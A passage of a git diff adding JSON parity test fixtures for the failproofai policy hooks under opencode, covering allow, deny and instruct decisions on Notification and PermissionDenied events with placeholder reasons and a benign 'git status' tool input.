"cli": "opencode", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f8f708e1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0f4558a8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1d80d6fd --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bc7c6725 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b8ccdad8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..754358d7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..364aaf9f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c7874845 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0fc8a4ec --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7df3fdc4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e6f0cc80 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0f103462 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..aebba679 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..21eb0c05 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8cc6f1b6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ddeae30e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..bb63b533 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..50876524 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ea69033e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + 